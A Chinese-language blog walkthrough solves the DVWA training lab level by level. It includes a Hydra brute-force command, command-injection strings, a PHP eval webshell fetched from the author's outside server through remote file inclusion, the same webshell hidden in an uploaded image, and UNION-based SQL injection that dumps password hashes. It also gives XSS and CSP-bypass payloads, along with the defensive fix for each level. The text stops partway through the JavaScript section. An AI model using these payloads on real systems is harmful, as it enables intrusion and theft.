文章目录
- 环境配置
- Brute Force
- Command Injection
- Cross Site Request Forgery (CSRF)
- File Inclusion
- File Upload
- Insecure CAPTCHA
- SQL Injection
- SQL Injection (Blind)
- Weak Session IDs
- DOM Based Cross Site Scripting (XSS)
- Reflected Cross Site Scripting (XSS)
- Stored Cross Site Scripting (XSS)
- Content Security Policy (CSP) Bypass
- JavaScript Attacks
- Authorisation Bypass
- Open HTTP Redirect
- 总结:Web 安全的一些最佳实践
DVWA(Damn Vulnerable Web Application,该死的易受攻击的 Web 应用)是一个用于 Web 渗透测试的靶场。这一项目基于 PHP,提供了多个常见的 Web 漏洞的经典实现,非常适合 Web 安全入门实践。(GitHub 仓库)
DVWA 的每个漏洞(vulnerability)分为四个安全等级(也代表攻击难度):
- Low:完全没有安全措施。
- Medium:不良的安全实践。
- High:(或许更难攻击的)不良安全实践。
- Impossible:安全的实践。
环境配置
我的运行环境是 macOS。接下来,我们使用 Docker 部署实验环境。
使用 Docker Compose 搭建环境
这个项目的 GitHub 上预构建的镜像,都是 linux/amd64 平台,不方便在我 macOS 的 linux/arm64/v8 平台下运行(或许要通过 Rosetta)。因此,我们选择克隆代码仓库,在本地构建镜像。
git clone git@github.com:digininja/DVWA.git
仓库中其实已经包含了 compose.yml
文件,不过为了满足自己的需求,我还是重新写了一个 compose 文件。
除了 MySQL(MariaDB)数据库以外,为了方便起见,再部署一个 phpMyAdmin 来查看和管理数据库内容(毕竟干啥都要写 SQL 太不直观了)。最终 compose.yml
文件如下:
version: “3”
services:
dvwa:
build: .
environment:
- DB_SERVER=mariadb
depends_on:
- mariadb
volumes:
- config:/var/www/html/config
networks:
- dvwa
ports:
- "127.0.0.1:80:80"
restart: unless-stopped
mariadb:
image: mariadb:11.3.2
environment:
- MARIADB_ROOT_PASSWORD=v556jYVdMsVp5rox
- MARIADB_DATABASE=dvwa
- MARIADB_USER=dvwa
- MARIADB_PASSWORD=p@ssw0rd
volumes:
- database:/var/lib/mysql
networks:
- dvwa
restart: unless-stopped
phpmyadmin:
image: phpmyadmin:5.2.1
environment:
- PMA_HOST=mariadb
depends_on:
- mariadb
networks:
- dvwa
ports:
- "127.0.0.1:8080:80"
restart: unless-stopped
networks:
dvwa:
volumes:
config:
database:
💡 提示:自己构建镜像是更好的选择。网上很多使用 Docker 部署 DVWA 的文章,使用 DockerHub 上 vulnerables/web-dvwa
这个镜像。这个镜像最近的更新日期已经是五年前了,不推荐使用。相比之下,自己从官方的 repo 里构建是更好的选择。
使用 docker compose up -d
就能构建容器并启动。
[+] Running 3/6
⠦ Network dvwa_dvwa Created 0.6s
⠦ Volume "dvwa_config" Created 0.5s
⠦ Volume "dvwa_database" Created 0.5s
✔ Container dvwa-mariadb-1 Started 0.3s
✔ Container dvwa-phpmyadmin-1 Started 0.5s
✔ Container dvwa-dvwa-1 Started 0.5s
⚠️ 注意:在开启之前,检查系统端口占用情况。macOS 默认会安装 httpd,这个服务可能会被某些软件(疑似 Tailscale)开启,占用 80 端口。即使容器跑起来之后,访问 localhost
只能看到莫名其妙的一行「It works! 」提示。这种情况下,要么关闭 httpd,要么更改容器映射的端口。
现在,访问 localhost
,能看到 DVWA 的登录页面,这代表服务成功跑起来了:
此时还没创建数据库,可以访问 localhost/setup.php
进行初始化检查,并创建数据库:
可以看到所有 PHP 相关的配置都默认 OK 了,无需我们手动调整。这就是使用 Docker 部署的好处。
创建数据库后,回到登录页面,使用默认用户名 admin
和默认密码 password
即可登录。
此外,访问 localhost:8080
,可以看到 phpMyAdmin 的登录页面。使用 root 用户登录,即可方便地查看、编辑数据库。
配置 reCAPTCHA
DVWA 包含 Insecure CAPTCHA 这个实验,要用到 Google 的 reCAPTCHA。这是一种机器人检测工具,就是「给一堆图片让我们选出其中的摩托车」这类的验证器。
为了使用 Google reCAPTCHA,我们需要在这个页面注册一个新的站点,申请 public key 和 private key:
「reCAPTCHA type」其实是要选择版本,v2 版本是要对用户请求发起质询的,v3 版本则是在使用时根据用户行为打分。建议选择 v2 的「"I'm not a robot" Checkbox」版本,这个版本最直观。别忘了在下面的「Domains」里加入 localhost
。
提交之后会得到 public key 和 private key,需要将这两个 key 填入 DVWA 的配置文件。刚才在 compose 文件中我们已经将配置文件目录挂载到名为 config
的 volume 中,只要找到其中的 config.inc.php
并填写即可。
由于众所周知的原因,reCAPTCHA 的默认服务器在国内无法访问,而我们的容器中的 PHP 进程需要访问其服务器才能验证 reCAPTCHA。解决方案是将 www.google.com 替换成不用代理即可访问的镜像站 www.recaptcha.net。需要修改的是 /var/www/html/external/recaptcha/recaptchalib.php
中的 url 变量。
配置完成后,打开 Insecure CAPTCHA 这一关进行测试,在 impossible 难度下能够正常修改密码,就代表配置成功。
Brute Force
这一关提供了一个简单的登录场景。
攻击者的目标是:通过脚本结合字典爆破出密码。
事实上,这个登录表单和 DVWA 程序登录表单用的是同一个数据表,所以登录组合之一是 admin
和 password
。在表中,还有若干其他用户。
Low:简单暴力
这一级别没有任何防御。并且有个非常逆天的设计:使用 GET 请求明文提交表单。测试使用 testuser 和 testpass 登录,发现 URL 直接变成:
http://localhost/vulnerabilities/brute/?username=testuser&password=testpass&Login=Login#
可以自己写 shell 脚本爆破,也可以用 Hydra 工具爆破。注意:发请求的时候,要带上 cookie,否则 DVWA 程序会要求你登录。
hydra -f -L ./Usernames/top-usernames-shortlist.txt -P ./Passwords/2020-200_most_used_passwords.txt -v localhost http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=incorrect:H=Cookie\: security=low; PHPSESSID=0lc3tfkicmfiebe1og7vqej77q"
也可以用 BurpSuite Intruder。在「Options」、「Grep - Match」里添加「incorrect」关键词,方便识别得到的结果是否成功。
或者也可以用所谓的「万能密码」,也就是 SQL 注入,用户名写 admin';#
甚至 ' OR 1 = 1 LIMIT 1;#
就行。当然这个考点就不是 Brute Force 了。
Medium:等待时间
和 low 的区别在于:
- 对用户名、密码字符串做了转义(不能 SQL 注入了)。
- 如果错误,需要等待 2 秒才会返回结果。
同样用 Hydra 或者 BurpSuite Intruder,用和上面一样的方法,可以完成爆破,只是比 low 要慢一些。
事实上,可以假设在网络延迟正常的情况下,如果密码正确,返回结果时间一般不会慢于 0.5 秒(这个阈值可以根据网络延迟调整)。所以,当一次尝试等待时间超过了 0.5 秒,可以直接认为密码错误而停止等待。这样可以节省不少时间。
High:随机等待时间 & CSRF 防护
和 medium 的区别在于:
- 如果密码错误,等待随机 0~3 秒才返回。
- 表单中增加了隐藏的 input 组件
user_token
,值为每次随机的字符串,用于防止 CSRF 攻击。
添加了 token 只是略微增加了我们爆破的复杂性:每一个登录请求都必须对应一个对表单的请求。可以使用 BurpSuite 的「Grep - Extract」功能提取 token,用 Pitchfork 模式逐一尝试。
Impossible:账户锁定
在 high 的基础上:
- 使用 POST 提交表单。
- 在后端(数据库中)记录了用户尝试错误的次数、上次登录时间,如果连续三次密码错误,账户锁定 15 分钟。
有了尝试三次账户锁定,暴力就基本上无法快速爆破特定账户了。
Command Injection
这一关可以视为 Remote Code Execution(RCE)攻击的一个应用。提供的场景是:提供一个表单,接收用户输入的 IP 地址,在服务器上使用 PHP 的 exec()
执行 ping 命令,并返回输出的结果。
攻击者的目标是:在服务器上执行任意我们想要的命令。
Low:不过滤
在后端直接将 ping
命令拼接上我们输入的字符串,然后执行。那么,用 &&
或者 ;
就可以结束之前的命令,添加任意命令。比如:
127.0.0.1; ls -al
Medium:简单过滤
在 low 的基础上,做了 &&
和 ;
的检测,在字符串中将它们删除。
能够做命令注入的不止上面两种字符,还可以用管道符 |
。这个符号本来的用法是将上一个命令的输出作为下一个命令的输入。
127.0.0.1 | ls -al
High:更多过滤
替换了不少字符:
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
仔细观察,过滤的不是管道符这个字符,而是管道符加一个空格……所以用 127.0.0.1 |ls
这种还是可以的。
并且没有过滤换行(%0a
)、回车(%0d
),这二者同样可以达到分隔多条命令的效果。当然,前端的输入框里无法输入换行,需要用别的工具发请求,将 ip 写为 127.0.0.1%0als
。
High 过滤了减号 -
,所以无法处理带参数的命令。
Impossible:白名单
「白名单」永远比「黑名单」安全。这个等级直接判断输入的 IP 是否符合 IPv4 格式,并且也引入了 CSRF 攻击防护。
Cross Site Request Forgery (CSRF)
这一关提供了一个修改密码的表单,要求输入新的密码并确认,提交后就能修改密码。
攻击者的目标是:在受害者不知情的情况下,使受害者更改密码。
⚠️ 注意:现代浏览器基本都已经禁止第三方 Cookie,这意味着无论如何配置,当发送跨域请求时都不能携带 Cookie,这一漏洞已经无法利用。
以下介绍的仅为在允许第三方 Cookie 的情况下,理论利用方式。
Low:无防护
没有防范 CSRF 攻击的检测,并且通过 GET 请求发数据。只要攻击者诱导受害者打开一个 URL,或者向这个 URL 发送请求,就可以修改密码。
http://localhost/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
Medium:判断 referer
这一等级在收到请求后,判断 HTTP referer 请求头的内容是否包含当前服务器域名。
然而,使用的是 stripos
函数,即单纯的子串检测。假设 DVWA 运行在 dvwa.com
,那么只要 referer 包含这个子串即可。例如从 skywt.cn
发起攻击,一种简单的方式是:https://skywt.cn/?a=dvwa.com
。
High:CSRF token
这一等级加入了 CSRF token,当用户加载表单时,表单内包含一个 hidden input,其中包含每次不同的 token;当提交时需要带上这个 token。
这大大增加了攻击难度:恶意脚本需要使用用户的凭证先发送请求,获取页面上的 token,再将 token 一并发送,请求修改密码。
Impossible:提供原密码
这一等级要求在修改密码请求中提供用户的原密码。攻击者无法得知用户的原密码,所以无法使用 CSRF 攻击。
File Inclusion
这一关提供的页面,在 URL 中指定参数 page
即可包含指定的页面。情境的本意是只能包含 file1、file2、file3 三个页面之一。
攻击者的目标是:包含木马页面,执行我们想要的代码。
Low:无防护
直接可以进行任意文件包含,因为 URL 里可以任意引用文件,为所欲为。
例如,在服务器 skywt.cn 上放一个一句话木马 yjh.txt
:
<?php eval($_GET['a']);?>
这行 PHP 代码拿到 GET 请求传入的 a 参数,然后作为代码执行。通过这一代码,我们可以执行任何代码。这就是「一句话木马」。
接下来,访问:
http://localhost/vulnerabilities/fi/?page=https://skywt.cn/yjh.txt&a=phpinfo();
页面包含了我们的 yjh.txt
,传入的 phpinfo()
; 就会被执行,显示 PHP 信息。照此原理,能够执行任何 PHP 代码。
利用 PHP 的 exec()
函数,事实上相当于已经拿到了系统的 shell。
Medium:关键词过滤
对传入的 page 参数过滤了 http://
、https://
、../
、..\
这几个关键词。
PHP 的 str_replace
函数只会进行「一次替换」,也就是将一个字符串中所有子串 A 进行替换,至于替换之后得到的新字符串是否包含子串 A,它并不关心。利用这个缺陷,我们可以使用「双写」的办法:
http://localhost/vulnerabilities/fi/?page=httpshttps://://skywt.cn/yjh.txt&a=phpinfo();
(也可以结合下一关的文件上传,使其引用本地的木马文件,即 URL 不包含 http(s)://
协议。
High:只能是文件
限制了传入的 page 参数必须以 file 开头。本意是限制只能引用诸如 file1.php
这样的文件,然而事实上可以用 file://
协议引用本地的任何文件。
需要结合下一关的文件上传漏洞,先上传一句话木马到本地,再引用。下文详述。
Impossible:白名单
使用「白名单」,限制只能访问 file1、file2、file3 这三个 PHP 文件。
File Upload
这一关提供了一个表单,能在其中选择一个文件并上传。情境的本意是只能上传图片文件,但是由于不佳的实现,导致能够上传 PHP 脚本木马。
攻击者的目标是:上传 PHP 木马并执行我们想要的代码。
Low:无防护
没有任何检测,直接将上传的文件保存并移动到某个特定的目录。
上传之前提到的一句话木马 yjh.php
就行。在这个 URL 里,能够利用木马:
http://localhost/hackable/uploads/yjh.php?a=phpinfo();
Medium:限制 MIME
只限制请求的 MIME 为 image/jpeg
或者 image/png
,并不实际检测上传的内容。
可以仍然上传这个 PHP 文件,只要在上传的请求中修改一下 Content-Type 就行了。
也可以在真实的图片文件后加 PHP 一句话木马再上传。下文 high 中详述。
High:限制文件拓展名
相比 medium,这个等级:
- 使用
getimagesize
函数获取图像内容实际大小,如果是 0 则拒绝上传。 - 检测文件拓展名是否是
jpg
、jpeg
、png
三者之一。如果不是则拒绝上传。
第一个限制意味着,直接上传只包含一行 PHP 代码的一句话木马无法成功,必须上传一张真实的图片。我们可以用文本编辑器在一张真实的图片最后加上一句话木马。PHP 的特性是只会将 <?php ?>
或 <? ?>
中的内容视为脚本并运行,在这个之外的内容都会不解析而是直接显示。注意:使用这种方法,需要确保这个图片文件中,在我们插入的代码之前,没有出现过 <?
这样的符号,否则在执行到我们的代码之前 PHP 就会抛出语法错误。
如果使用日常的图片,生成 <?
组合其实概率不低。我们可以生成一张最小的图片,确保不包含 <?
组合:
convert -size 1x1 xc:black yjh.jpg
echo "<?php eval(\$_GET['a']);?>" >> yjh.jpg
上传这个图片文件,能够规避第一条规则的检测。
第二个限制,并不好解决。一般来说,像 Nginx 之类的 WebServer,PHP 环境的配置方式都是:对于服务器上以 .php
结尾的文件,交由 PHP 的引擎执行脚本;对于其他拓展名的文件,则直接视为静态资源呈现。这样,如果文件结尾不是 .php
,我们无法将其单独作为 PHP 来执行。
所以,这一关要结合上一关的文件包含漏洞。成功上传包含一句话木马的 yjh.jpg
之后,只要利用 file://
协议,访问这个 URL:
http://localhost/vulnerabilities/fi/?page=file:///var/www/html/hackable/uploads/yjh.jpg&a=phpinfo();
Impossible:图片重新编码
相比之前的等级,该等级加入了更加复杂的检测:
- 检测 MIME 类型、拓展名。
- 对图片去除元信息、重新编码再上传。这样图片中不可能包含任何其他东西。
- CSRF 防护。
Insecure CAPTCHA
这一关提供修改密码的场景,表单里提供了一个密码输入框、密码确认框,以及一个 reCAPTCHA 验证组件。期望的场景是:通过验证,才能提交修改密码。
攻击者的目标是:不经过 reCAPTCHA 的验证也能实现修改密码。
Low:没用的 step 验证
这个 low 的实现真的很逆天,表单里有一个 hidden input 名为 step
,初始 value 为 1。当为 1 时提交,验证 reCAPTCHA,如果通过则重新打开页面并将 step
改为 2。当为 2 时提交,则不验证 reCAPTCHA 直接修改密码。
那么,直接在页面里将 step
改为 2 再提交就好了。
Medium:又一个没用的验证
依然很逆天,在 low 的基础上,当 step
为 1 且验证通过时,重新打开页面,step
设为 2,并添加一个名为 passed_captcha
的 hidden input 并设为 true。
和 low 类似,只要在页面里将 step
改为 2,添加 passed_captcha
元素即可:
<input type="hidden" name="passed_captcha" value="true">
High:开发者留的后门
相比前两个等级,high 终于没有使用愚蠢的 step
。
- 添加了 CSRF 防护。
- 提交后直接验证 reCAPTCHA,如果通过则修改密码。
然而,在表单的注释里能看到这段内容:
<!-- **DEV NOTE** Response: 'hidd3n_valu3' && User-Agent: 'reCAPTCHA' **/DEV NOTE** -->
事实上,当这个页面接收到 POST 请求,其中 g-recaptcha-response
字段为 hidd3n_valu3
并且 UA 为 reCAPTCHA
时,会直接视为通过了验证。
我并没看懂这一关的逻辑,毕竟 reCAPTCHA 验证代码放在独立的模块里。可能意思是开发者留的后门?
curl 'http://localhost/vulnerabilities/captcha/' \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Cookie: _pk_id.1.1fff=83ca368cc934da2a.1713256286.; pma_lang=zh_CN; phpMyAdmin=211204361d2d8ca74ddb7cf6114904ad; pmaUser-1=yfZDMnTAKyPV7j%2B7cQQNL%2FzQSTP4EIu%2BlPfwwl8x8qc8at35nhtpEyye8Rc%3D; security=high; PHPSESSID=c830c512bdc160d1bd45b89fd12a8f27' \
-H "User-Agent: reCAPTCHA" \
--data-raw 'step=1&password_new=123456&password_conf=123456&g-recaptcha-response=hidd3n_valu3&user_token=0b419bbb618c37f400efc2b2d03337a9&Change=Change'
Impossible:正常地使用
相比前几个等级,这个等级:
- 添加表单需要用户输入当前密码,密码正确才能修改密码。
- 正常地验证 reCAPTCHA,没有 high 中奇怪的判定。
说实话,这才是正常人能想到的 reCAPTCHA 使用方式。这关从 low 到 high 感觉都不是正常人能写出来的代码……
SQL Injection
SQL 注入是老生常谈的安全漏洞。本题提供了一个表单,输入 user id 并提交,能够查询指定 id 的用户,并显示列表。
攻击者的目标是:任意操纵数据库。
Low:无防护
没有任何 SQL 注入的检测。查询 1' OR 1=1; #
,可以得到所有记录。说明这关的注入是字符型,即输入的内容作为字符串类型。
确定该表包含字段数量。提交 ' OR 1=1 ORDER BY 2; #
正常返回,' OR 1=1 ORDER BY 3; #
则报错,说明该表共两个字段。
确定服务器包含的数据库。提交 ' AND 0=1 UNION SELECT 1,database(); #
,能看到只有 dvwa
这一个数据库。
确定数据库包含的所有表。提交 ' AND 0=1 UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema='dvwa'; #
可以看到所有表的名称,有 users 和 guestbook。
确定表包含的字段。提交 ' AND 0=1 UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_name='users'; #
可以拿到 uses 表包含的所有字段。
最后就可以想查什么就查什么了。比如用户名和密码的 MD5:' AND 0=1 UNION SELECT user,password FROM users; #
。
Medium:字符转义
相比 low 等级:
- 将输入框改为了选择菜单,请求方式改为 POST。但是 POST 接收的参数依然被当作字符串处理。
- 对 id 中的字符进行了转义,使用的是
mysqli_real_escape_string
函数,这个函数会转义 NUL(ASCII 0)、\n
、\r
、\
、'
、"
和 Control-Z 这些字符。
尝试 1 OR 1=1;#
可以判断这题的注入是数字型,即输入内容作为数字类型。那么,不需要用到引号等被过滤的符号。
直接用和上题一样的方法就好。
High:单独的页面
这个等级打开一个单独的页面里发送请求,而响应存在后端 SESSION 里,在原来的页面中才显示。这样用 sqlmap 之类的工具进行注入就会比较麻烦,只能自己写脚本或者手工注入。
不过,除此之外,其他防护措施和 low 等级一样。
Impossible:限制数据类型 & 预编译
- 判断 id 是否为数字。
- 使用了预编译处理 SQL 语句。这就是「代码与数据分离」。
- CSRF 防护。
SQL Injection (Blind)
SQL 盲注,指的是虽然页面存在 SQL 注入的漏洞,但是我们无法直接看到查询的结果,只能看到成功与否之类非常有限的信息。这大大增加了注入难度。
这一关就是如此:输入用户 ID,只返回用户 ID 是否存在。这相当于每次只给我们 true 或 false 的信息。
这一关不同难度增加的限制,和上一关完全一致,只有返回显示结果的区别。所以此处只介绍针对 low 的通用方法。
猜测是字符型还是整数型。尝试 1 AND 1=2; #
发现能找到记录,1' AND 1=2; #
则不行,则证明是字符型。
猜数据库名长度。查询 ' OR length(database())=4; #
为真,其他长度都为假,说明当前数据库名长度为 4。
猜数据库名。用诸如 ' OR ascii(substr(database(),1,1)>97; #
这样的查询,可以一个一个字符猜出数据库名(可以用二分)。其他的猜测和以上注入同理。
如果程序不返回任何内容,连成功与否都不知道,怎么办呢?可以利用延时。例如:' AND sleep 5
。SQL 中的 AND 有和大多数编程语言一样的短路运算,当 AND 左侧为 false 则不计算右侧。如果能找到记录,会等待五秒才返回;如果找不到记录,则会立即返回。通过这种方式我们相当于也获得了 true 或 false 的反馈信息。
Weak Session IDs
这个场景只提供一个按钮,每次点击就能生成或更新本地名为 dvwaSession 的 Cookie。
攻击者的目标:猜测下一次生成的 dvwaSession,或者猜测其他用户生成的 dvwaSession。Session 一般作为用户身份的凭证,如果能够猜到其生成方式,往往能够伪造他人身份。
Low:简单计数器
非常简单直白的方式生成 dvwaSession:第一次生成 1,之后每次重新生成就加 1。这种方式太容易伪造了。
Medium:时间戳
将时间戳作为 dvwaSession。时间戳没有随机性并且可预知,攻击者也完全可以伪造。
High:计数器 MD5 & 访问限制
这一等级仍然使用计数器作为 dvwaSession,不同之处在于存入 Cookie 时用 MD5 哈希了一下。计数器每次加 1,所以不会很大,可以轻易枚举出哈希前的计数器。
这一等级还设定了 Cookie 的失效时间为一小时,指定只能在 /vulnerabilities/weak_id/
路径以及当前域名下使用,
Cookie 的 secure、httpOnly 选项都设为 false,这意味着 Cookie 可以在非 HTTPS 连接下使用、可以被 JavaScript 脚本访问。这是不安全的设置。
Impossible:随机化 & 强限制
在 high 的基础上:
- 使用时间戳、随机数,用 SHA1 算法生成 Cookie。这确保了充分的 Cookie 随机化。
- secure、httpOnly 选项都设为 true。
相比 high,这个等级:1)无法枚举预测 Cookie;2)有更严格的访问限制。
DOM Based Cross Site Scripting (XSS)
在做 XSS 的三个关卡之前,回顾之前 xss-labs 的题解,执行 JavaScript 代码一般有四种方式:
- 通过
<script>
标签。 - 通过元素的 onmouseover 属性。
- 通过
<img>
的 onerror 属性,如<img src=1 onerror="alert(1)">
。 - 通过 URI,如
javascript:alert(1)
。
这一关提供了一个包含下拉选择框的表单,提供了若干语言选项。
攻击者的目标是:实现 XSS 注入,执行我们想要的 JavaScript 脚本。
Low:虚假的下拉框
选择 English
并 Submit,可以发现 English
作为字符串传进了 URL,作为 default
的值。
http://localhost/vulnerabilities/xss_d/?default=English
将 URL 中 English
改为 test
,会发现页面里下拉框中文本也变成了 test
。显然这个下拉框只是个幌子,default
的值不仅限于这四种语言。
可以发现表单中有一段脚本用于处理 default
的值,使用了非常愚蠢的 document.write
:
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
那么,将 default
的值改为 <script>alert(1)</script>
进行 encodeURI 之后的值,即可成功出现弹窗:
%3Cscript%3Ealert(1)%3C/script%3E
Medium:后端过滤 script 标签
相比 low,在后端添加了检测,如果 URL 的 default
值包含 <script
字串,则强制设置为 English
。
当然,引入 JavaScript 代码的方式并不止 script 标签一种。比如:
</option></select><button onclick='alert(1)'></button>
</option></select><div onmouseover='alert(1)' style='height: 1000px; width: 1000px'></div>
这段代码将 select 组件闭合,并插入一个其他元素,能够触发弹窗。button 需要点击触发,而插入一个很大的 div 则用户鼠标经过就触发。经过实测,因为这个 div 很大,还是非常容易触发的……
⚠️ 浏览器的安全限制:由于 document.write
存在较多安全问题,已经是强烈不建议使用的方法(参见 MDN 文档),许多浏览器对其添加了诸多限制,例如 Chrome 浏览器的这篇文档。所以,这一关很多更好的方法都无法使用,比如 <img src=1 onerror='alert(1)'>
。
(除了这种方法之外,使用下述 high 等级的方法也能通过这一关)
High:后端白名单,但前端简单粗暴
相比 medium,这关在后端直接使用了白名单:default
参数对应的值只能是 English
等四个值中的一种。其他情况,就重定向到 default=English
。
不过,或许你已经注意到了,前端获取 default
对应的值的这段代码,非常简单粗暴:
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
// ...
}
直接搜索 URL 中 default=
这个字串,不管三七二十一,将等号之后的内容都视为 lang 的值。然而,我们知道如果后面又有别的参数(例如 default=English¶m=test
),这个参数也会被放进 lang 里,但会被后端忽略。
所以只要加个 &
就能避免后端的检测了:
English&%3Cscript%3Ealert(1)%3C/script%3E
Impossible:前端不要 decode
之前从 low 到 high 的前端代码都犯了非常蠢的错误:直接将拿到的 lang 进行 decode 并在前端展示出来(decodeURI(lang)
)。
事实上,对于 English
等四个选项,其中并不包含任何特殊字符,完全不需要 decode。只要不 decode,攻击者就不可能注入任何特殊字符了。Impossible 就改写了这一点:
if (document.location.href.indexOf("default=") >= 0) {
// ...
document.write("<option value='" + lang + "'>" + (lang) + "</option>");
// ...
}
不过,这个选项仍然不是最好的解决方案,因为使用了 document.write
等非常不优雅的写法,并且用户仍然可能传入非预期的字符串(虽然不可能进行 XSS 攻击了)。如果让我来设计,或许我会将选项从 0 开始编号,URL 中只允许用户传入一个数字编号,在前端将其换成对应的选项。
Reflected Cross Site Scripting (XSS)
这一关提供一个表单,让我们输入名字。当点击提交后,名字会通过 name
这个 param 传送给页面,表单下方会展示「Hello xxx」。
Low:无防护
没有任何防护。
输入 <script>alert(1)</script>
并提交,这段代码被原封不动地写入 HTML,就能成功弹窗。
Medium:子串替换
后端进行了防护:将输入包含的所有 <script>
子串替换为空串。
和 File Inclusion 里的 medium 解法相同,可以通过双写的方式规避:
<sc<script>ript>alert(1)</script>
使用下文所述 high 的方法也能解决。
High:正则表达式替换
相比 medium,这次通过正则表达式替换了 <(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t
,使用双写的方法无效了。
同前所述,script 并非引入 JavaScript 的唯一方式。也可以使用:
<img src=1 onerror="alert(1)">
Impossible:htmlspecialchars
相比 high 等级,这个等级:
- 增加了 CSRF 防护。
- 通过
htmlspecialchars
转义输入字符串。
一般来说,为了防范 XSS,使用 PHP 内置的 htmlspecialchars
函数转义字符串,是最优解。
Stored Cross Site Scripting (XSS)
本题场景是一个类似留言板的功能,提供一个表单,可以填写姓名和文本,提交后填写的内容将被存储,在留言列表中展示出来。
Low:无防护
在 message 中填入 <script>alert(1)</script>
提交,该内容会被原封不动地注入 HTML 导致弹窗。
这一关卡所有难度都使用了 mysqli_real_escape_string
过滤了输入,从而防止 SQL 注入攻击。由于 SQL 注入不是本关卡的重点,与 XSS 无关,下面暂时不考虑。
Medium:name 子串替换
相比 low,这一关在后端对 name 和 message 分别进行了过滤:
- 对于 message:使用 PHP 的
strip_tags
函数去除所有 HTML 和 PHP 标签,然后使用htmlspecialchars
函数转义存储。 - 对于 name:将所有
<script>
标签替换为空。
很显然,对 name 的处理存在和上一关(反射型 XSS)一样的问题,可以双写 <script>
或者使用 img 标签。
对于 name 输入框的长度限制,直接在浏览器里修改该元素的 maxlength 属性即可。
<scr<script>ipt>alert(1)</script>
<img src=1 onerror="alert(1)">
High:name 正则表达式替换
和反射型 XSS 里一样,将处理 name 字段时的 str_replace
子串替换,换成了基于正则表达式的替换。双写不能用了,但是 img 还是可以用:
<img src=1 onerror="alert(1)">
Impossible:htmlspecialchars
相比 high 等级,这个等级:
- 增加了 CSRF 防护。
- 通过
htmlspecialchars
转义 name。
存储型 XSS 这一关和反射型非常类似。最佳安全实践也一样:使用 htmlspecialchars
。
Content Security Policy (CSP) Bypass
浏览器的内容安全策略,是可以在 Content-Security-Policy 相应头中定义的一系列规则,告诉浏览器在访问内容时应该添加何种限制。
攻击者的目标是:通过 script 标签,引入外部脚本。
Low:引用 script 的限制
这一等级给出一个表单,提交的 URL 会被作为 script 的 src 引入。
这一等级的 Content-Security-Policy 请求头内容如下:
Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com https://digi.ninja;
// allows js from self, pastebin.com, hastebin.com, jquery, digi.ninja, and google analytics.
页面给出了五个测试链接:
alert.js
:成功引用alert.txt
:无法引用cookie.js
:成功引用forced_download.js
:无法引用wrong_content_type.js
:无法引用
网页引入的 script 脚本,要满足如下限制:
- MIME 必须是
text/javascript
。 - 相应头不能包含
Content-Disposition: attachment
。
Medium:不变的 nonce
这一等级给出一个表单,提交的内容会被直接插入 HTML 中,且关闭了 XSS 防护。
该等级的 Content-Security-Policy 请求头:
Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';
请求头里包含了 nonce。nonce 后加一个 base64 编码后的字符串。添加这一限制后,所有 script 都必须带上相同的 nonce,否则浏览器就拒绝执行。
然而,这一等级中 nonce 并不是每次随机生成的,而是一个固定的字符串 Tm...XA=
。事实上,base64 解码之后内容是:「Never going to give you up」……
只要提交这样的一段 script 即可:
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
High:JSONP
这一等级中,页面调用 jsonp.php
执行代码。
JSONP(JSON with Padding)是一种跨域请求的技术,动态创建 script 标签,并将跨域请求到的资源当作 JavaScript 代码执行。
可以看到这个页面中 button 绑定的回调函数:
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp.php?callback=solveSum";
document.body.appendChild(s);
}
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
jsonp.php
脚本内容如下:
<?php
header("Content-Type: application/json; charset=UTF-8");
if (array_key_exists ("callback", $_GET)) {
$callback = $_GET['callback'];
} else {
return "";
}
$outp = array ("answer" => "15");
echo $callback . "(".json_encode($outp).")";
?>
当传入 callback 参数为 solveSum
,jsonp.php
将构造一段 JavaScript 代码,这段代码用指定的参数调用 solveSum
。即:
solveSum({answer: 15})
其实目的是为了拿到其中的 JSON 数据,但是以调用函数的代码形式返回,外面这层函数就叫做 padding,故名曰 JSON with Padding。
然而,JSONP 将调用传入的 callback 参数,这个函数是前端传入的。我们只要重新定义 callback 参数的内容,就能让页面执行我们想要的 JavaScript 代码。比如:
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp.php?callback=alert";
document.body.appendChild(s);
}
Impossible:硬编码函数名
这一等级仍然使用 JSONP,但是不读取 callback 的值,而是将 solveSum 这一函数名硬编码进 jsonp.php
。这才是使用 JSONP 的正确方式。
JavaScript Attacks
这一关提供了一个表单,我们可以提交一个 phase,同时前端计算了 ChangeMe
这个 phase 的哈希,后端验证哈希是否匹配。
攻击者的目标是:成功提交 success
这个单词,并通过哈希验证。
Low:内联脚本
如果直接提交 success
会提示 Invalid token。显然,表单里有个隐藏的 token。
查看 HTML,能找到表单后的一段 script:
function rot13(inp) {
return inp.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});
}
function generate_token() {
var phrase = document.getElementById("phrase").value;
document.getElementById("token").value = md5(rot13(phrase));
}
generate_token();
